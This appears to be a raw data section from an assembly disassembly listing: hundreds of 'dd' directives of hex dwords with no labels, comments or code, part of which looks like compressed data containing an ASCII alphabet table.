		dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh,	8DC0C084h
		dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh,	1F783352h
		dd 55007EEBh, 4882694h,	7121179h, 0A2C314A4h, 0FA56F003h
		dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h
		dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h
		dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h
		dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h
		dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h,	0BB3A00FBh
		dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h
		dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h
		dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h,	4F6100B5h
		dd 95A0056Ah, 90014EBh,	4A339D2Bh, 20CCC5h, 0E85CB227h
		dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h
		dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh
		dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh
		dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h
		dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h
		dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h
		dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h,	0C0509DA5h
		dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh
		dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h,	2E01A6h
		dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h,	0D0A10013h
		dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh
		dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h,	10680013h
		dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h,	98FAD3h
		dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h,	0DDDB0184h
		dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h,	5212C3Dh
		dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh
		dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h
		dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h
		dd 9A7E6B7h, 78800498h,	0BE00AA74h, 691B6693h, 168D0034h
		dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h,	331720F3h
		dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h
		dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h
		dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h
		dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h
		dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah,	600F060Bh
		dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh
		dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h
		dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh
		dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h
		dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h
		dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h
		dd 0FB0A8058h, 0FC00EA51h
		dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h,	0F0466909h
		dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
		dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
		dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch,	6A0D4680h
		dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h,	8EEB7C72h
		dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh
		dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h,	2B30487h
		dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h
		dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh
		dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h,	2EAD812h
		dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h,	589C88h
		dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh,	32E0A95h
		dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h,	0C0C0BE8Bh
		dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh,	522D0DD0h
		dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
		dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
		dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
		dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
		dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
		dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h,	3430641Dh
		dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
		dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h,	855EA488h
		dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
		dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h,	0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh, 9B831F4Ch
		dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h,	0F3E11CC8h
		dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
		dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h,	6C30BFF3h
		dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
		dd 10917BEh, 763352A3h,	0E011D825h, 88028F4Bh, 0AAC81B1h
		dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h,	6D55AA12h
		dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah
		dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h
		dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h
		dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh,	0E3FE3306h
		dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h,	116049D2h
		dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h
		dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh
		dd 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h
		dd 258C35F7h, 5B23F1Dh,	49430A01h, 0ED15D50Bh, 8BE980E7h
		dd 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h,	0A01D12FAh
		dd 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h
		dd 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh
		dd 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h
		dd 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah
		dd 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h,	0E9027F76h
		dd 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch
		dd 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h
		dd 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h
		dd 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh
		dd 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h,	0EB48DBB6h
		dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h,	3600FD20h
		dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh
		dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh
		dd 136BC200h, 8C5AE8Fh,	5D770Bh, 0DE4F1673h, 68C61B28h
		dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh,	591F13F4h
		dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h,	0E3AFF599h
		dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h
		dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h
		dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh
		dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h
		dd 374272Ch, 4D228039h,	103E9620h, 0EF560060h, 648AEDE2h
		dd 47F1906h, 52450B07h,	0C373020Dh, 3AAC88C0h, 0D0F400C4h
		dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch,	0A1C76630h
		dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h
		dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah
		dd 1896DF36h, 0D78B46h,	424039EBh, 0D32D4CD8h, 1EDBFE01h
		dd 0CABF79DAh, 83C7D4h,	0F7D9E880h, 0EC5589C1h,	3E60CB00h
		dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h
		dd 9C0FFAh, 0FBC1B801h,	589666EBh, 116BEC00h, 2703F80Eh
		dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah
		dd 222C35Bh, 6084482Ah,	61E06B29h, 0E48BA13h, 0C20776A2h
		dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h
		dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh
		dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h
		dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h
		dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h
		dd 5ECDE4F9h, 3880500h,	0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h
		dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h,	7FD307Ch
		dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h,	0E40FC400h
		dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h,	0DEC16031h
		dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h
		dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h,	0C200AA9Ah
		dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h
		dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h
		dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh
		dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h
		dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h
		dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h
		dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh
		dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h
		dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h, 1C0E397Eh
		dd 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h,	8B0BB273h
		dd 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh
		dd 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h
		dd 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h,	0B9038B61h
		dd 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h
		dd 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh
		dd 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h
		dd 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h
		dd 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh
		dd 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch
		dd 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h,	0E498C985h
		dd 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch
		dd 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h
		dd 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h
		dd 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h
		dd 100E540h, 0DC92772h,	71C2F002h, 0D68B3E13h, 0CF507480h
		dd 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h
		dd 91757948h, 11FE42A5h, 0B657700h, 75676B5h, 5478ABh
		dd 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch
		dd 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh
		dd 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h
		dd 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh,	759F008Bh
		dd 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h
		dd 274307ECh, 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h
		dd 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh,	0C8E65B81h
		dd 7D3B0C34h, 37311824h, 5711DCh, 40478014h, 0D97B754Bh
		dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh
		dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh
		dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h
		dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h
		dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h
		dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h,	0FC3245F3h
		dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h
		dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch,	9BDD88B0h
		dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah
		dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h
		dd 1A2CBFh, 0AF4ED6FAh,	0F2B89F23h, 59760E9h, 5FE4FE00h
		dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h
		dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h,	904EF815h
		dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h
		dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h
		dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh
		dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h
		dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch
		dd 5C5F002Dh, 927222Ah,	91000D0Ah, 0AAE4C4E0h, 7388E867h
		dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h
		dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h,	5C49E960h
		dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh
		dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h
		dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch
		dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh,	83481F05h
		dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h
		dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h
		dd 0EB071569h, 41B929h,	0DC30630Ah, 0AB83E806h,	5600807Eh
		dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh
		dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h
		dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh
		dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h
		dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h
		dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h,	2004589h
		dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh
		dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h
		dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h
		dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h,	50B1C594h
		dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh,	1EB473FFh
		dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h,	16B5B95Bh
		dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h
		dd 4690200h, 484EB36Fh,	0A25F0010h, 0BF446CF0h,	25001609h
		dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h
		dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h,	0C0F8840h
		dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h,	0EAFA270Eh
